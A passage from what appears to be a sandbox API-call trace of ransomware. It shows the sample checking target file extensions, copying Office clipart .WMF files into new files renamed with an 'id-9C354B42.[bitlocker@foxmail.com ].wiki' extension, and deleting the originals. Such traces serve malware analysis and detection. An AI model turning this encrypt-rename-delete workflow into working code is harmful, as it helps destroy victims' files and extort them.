returned -1 [0063.509] lstrlenW (lpString=".ppt") returned 4 [0063.509] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0063.509] lstrlenW (lpString=".zip") returned 4 [0063.509] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.509] lstrlenW (lpString=".rar") returned 4 [0063.509] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.509] lstrlenW (lpString=".bz2") returned 4 [0063.509] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.509] lstrlenW (lpString=".7z") returned 3 [0063.509] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0063.509] lstrlenW (lpString=".dbf") returned 4 [0063.509] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0063.510] lstrlenW (lpString=".1cd") returned 4 [0063.510] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0063.510] lstrlenW (lpString=".jpg") returned 4 [0063.510] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.510] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0063.510] lstrlenW (lpString="BD07761_.WMF") returned 12 [0063.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0063.510] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=26748) returned 1 [0063.510] CloseHandle (hObject=0x1f4) returned 1 [0063.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf")) returned 0x20 [0063.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0063.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0063.510] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.510] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0063.511] GetLastError () returned 0x0 [0063.511] ReadFile (in: hFile=0x1f4, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x687c, lpOverlapped=0x0) returned 1 [0063.513] WriteFile (in: hFile=0x1a4, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x6880, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x6880, lpOverlapped=0x0) returned 1 [0063.514] ReadFile (in: hFile=0x1f4, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0063.514] WriteFile (in: hFile=0x1a4, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xec, lpOverlapped=0x0) returned 1 [0063.514] SetEndOfFile (hFile=0x1a4) returned 1 [0063.514] CloseHandle (hObject=0x1a4) returned 1 [0063.514] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.514] SetEndOfFile (hFile=0x1f4) returned 1 [0063.515] CloseHandle (hObject=0x1f4) returned 1 [0063.516] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0063.516] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf")) returned 1 [0063.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0063.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0063.516] lstrlenW (lpString=".doc") returned 4 [0063.516] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.516] lstrlenW (lpString=".docx") returned 5 [0063.516] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.516] lstrlenW (lpString=".pdf") returned 4 [0063.516] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.516] lstrlenW (lpString=".xls") returned 4 [0063.516] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.516] lstrlenW (lpString=".xlsx") returned 5 [0063.516] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.517] lstrlenW (lpString=".ppt") returned 4 [0063.517] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0063.517] lstrlenW (lpString=".zip") returned 4 [0063.517] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.517] lstrlenW (lpString=".rar") returned 4 [0063.517] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.517] lstrlenW (lpString=".bz2") returned 4 [0063.517] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.517] lstrlenW (lpString=".7z") returned 3 [0063.517] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0063.517] lstrlenW (lpString=".dbf") returned 4 [0063.517] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0063.517] lstrlenW (lpString=".1cd") returned 4 [0063.517] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0063.517] lstrlenW (lpString=".jpg") returned 4 [0063.517] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0063.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0063.517] lstrlenW (lpString=".doc") returned 4 [0063.517] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.517] lstrlenW (lpString=".docx") returned 5 [0063.517] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.517] lstrlenW (lpString=".pdf") returned 4 [0063.517] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.517] lstrlenW (lpString=".xls") returned 4 [0063.518] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.518] lstrlenW (lpString=".xlsx") returned 5 [0063.518] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.518] lstrlenW (lpString=".ppt") returned 4 [0063.518] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0063.518] lstrlenW (lpString=".zip") returned 4 [0063.518] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.518] lstrlenW (lpString=".rar") returned 4 [0063.518] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.518] lstrlenW (lpString=".bz2") returned 4 [0063.518] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.518] lstrlenW (lpString=".7z") returned 3 [0063.518] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0063.518] lstrlenW (lpString=".dbf") returned 4 [0063.518] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0063.518] lstrlenW (lpString=".1cd") returned 4 [0063.518] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0063.518] lstrlenW (lpString=".jpg") returned 4 [0063.518] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.518] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0063.519] lstrlenW (lpString="BD07804_.WMF") returned 12 [0063.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0063.519] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=4924) returned 1 [0063.519] CloseHandle (hObject=0x1f4) returned 1 [0063.519] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf")) returned 0x20 [0063.519] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0063.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0063.519] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.519] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0063.520] GetLastError () returned 0x0 [0063.520] ReadFile (in: hFile=0x1f4, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x133c, lpOverlapped=0x0) returned 1 [0063.522] WriteFile (in: hFile=0x1a4, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x1340, lpOverlapped=0x0) returned 1 [0063.525] ReadFile (in: hFile=0x1f4, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0063.525] WriteFile (in: hFile=0x1a4, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xec, lpOverlapped=0x0) returned 1 [0063.525] SetEndOfFile (hFile=0x1a4) returned 1 [0063.525] CloseHandle (hObject=0x1a4) returned 1 [0063.525] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.525] SetEndOfFile (hFile=0x1f4) returned 1 [0063.526] CloseHandle (hObject=0x1f4) returned 1 [0063.526] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0063.526] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf")) returned 1 [0063.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0063.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0063.526] lstrlenW (lpString=".doc") returned 4 [0063.526] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.526] lstrlenW (lpString=".docx") returned 5 [0063.526] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.526] lstrlenW (lpString=".pdf") returned 4 [0063.526] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.526] lstrlenW (lpString=".xls") returned 4 [0063.526] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.526] lstrlenW (lpString=".xlsx") returned 5 [0063.527] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.527] lstrlenW (lpString=".ppt") returned 4 [0063.527] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0063.527] lstrlenW (lpString=".zip") returned 4 [0063.527] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.527] lstrlenW (lpString=".rar") returned 4 [0063.527] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.527] lstrlenW (lpString=".bz2") returned 4 [0063.527] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.527] lstrlenW (lpString=".7z") returned 3 [0063.527] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0063.527] lstrlenW (lpString=".dbf") returned 4 [0063.527] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0063.527] lstrlenW (lpString=".1cd") returned 4 [0063.527] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0063.527] lstrlenW (lpString=".jpg") returned 4 [0063.527] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0063.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0063.527] lstrlenW (lpString=".doc") returned 4 [0063.527] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.527] lstrlenW (lpString=".docx") returned 5 [0063.527] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.527] lstrlenW (lpString=".pdf") returned 4 [0063.527] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.527] lstrlenW (lpString=".xls") returned 4 [0063.527] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.527] lstrlenW (lpString=".xlsx") returned 5 [0063.527] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.528] lstrlenW (lpString=".ppt") returned 4 [0063.528] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0063.528] lstrlenW (lpString=".zip") returned 4 [0063.528] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.528] lstrlenW (lpString=".rar") returned 4 [0063.528] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.528] lstrlenW (lpString=".bz2") returned 4 [0063.528] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.528] lstrlenW (lpString=".7z") returned 3 [0063.528] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0063.528] lstrlenW (lpString=".dbf") returned 4 [0063.528] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0063.528] lstrlenW (lpString=".1cd") returned 4 [0063.528] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0063.528] lstrlenW (lpString=".jpg") returned 4 [0063.528] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.528] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0063.528] lstrlenW (lpString="BD07831_.WMF") returned 12 [0063.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0063.532] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=4066) returned 1 [0063.532] CloseHandle (hObject=0x1a4) returned 1 [0063.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf")) returned 0x20 [0063.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0063.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0063.547] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.547] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0063.554] GetLastError () returned 0x0 [0063.554] ReadFile (in: hFile=0x1a4, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0xfe2, lpOverlapped=0x0) returned 1 [0063.565] WriteFile (in: hFile=0x20c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xff0, lpOverlapped=0x0) returned 1 [0063.566] ReadFile (in: hFile=0x1a4, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0063.566] WriteFile (in: hFile=0x20c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xec, lpOverlapped=0x0) returned 1 [0063.566] SetEndOfFile (hFile=0x20c) returned 1 [0063.566] CloseHandle (hObject=0x20c) returned 1 [0063.566] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.566] SetEndOfFile (hFile=0x1a4) returned 1 [0063.567] CloseHandle (hObject=0x1a4) returned 1 [0063.567] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0063.567] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf")) returned 1 [0063.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0063.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0063.567] lstrlenW (lpString=".doc") returned 4 [0063.568] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.568] lstrlenW (lpString=".docx") returned 5 [0063.568] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.568] lstrlenW (lpString=".pdf") returned 4 [0063.568] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.568] lstrlenW (lpString=".xls") returned 4 [0063.568] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.568] lstrlenW (lpString=".xlsx") returned 5 [0063.568] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.568] lstrlenW (lpString=".ppt") returned 4 [0063.568] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0063.568] lstrlenW (lpString=".zip") returned 4 [0063.568] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.568] lstrlenW (lpString=".rar") returned 4 [0063.568] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.568] lstrlenW (lpString=".bz2") returned 4 [0063.568] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.568] lstrlenW (lpString=".7z") returned 3 [0063.568] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0063.568] lstrlenW (lpString=".dbf") returned 4 [0063.568] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0063.568] lstrlenW (lpString=".1cd") returned 4 [0063.568] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0063.568] lstrlenW (lpString=".jpg") returned 4 [0063.568] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0063.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0063.568] lstrlenW (lpString=".doc") returned 4 [0063.568] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.569] lstrlenW (lpString=".docx") returned 5 [0063.569] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.569] lstrlenW (lpString=".pdf") returned 4 [0063.569] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.569] lstrlenW (lpString=".xls") returned 4 [0063.569] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.569] lstrlenW (lpString=".xlsx") returned 5 [0063.569] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.569] lstrlenW (lpString=".ppt") returned 4 [0063.569] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0063.569] lstrlenW (lpString=".zip") returned 4 [0063.569] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.569] lstrlenW (lpString=".rar") returned 4 [0063.569] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.569] lstrlenW (lpString=".bz2") returned 4 [0063.569] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.569] lstrlenW (lpString=".7z") returned 3 [0063.569] lstrcmpiW (lpString1=".7z", lpString2="WMF") 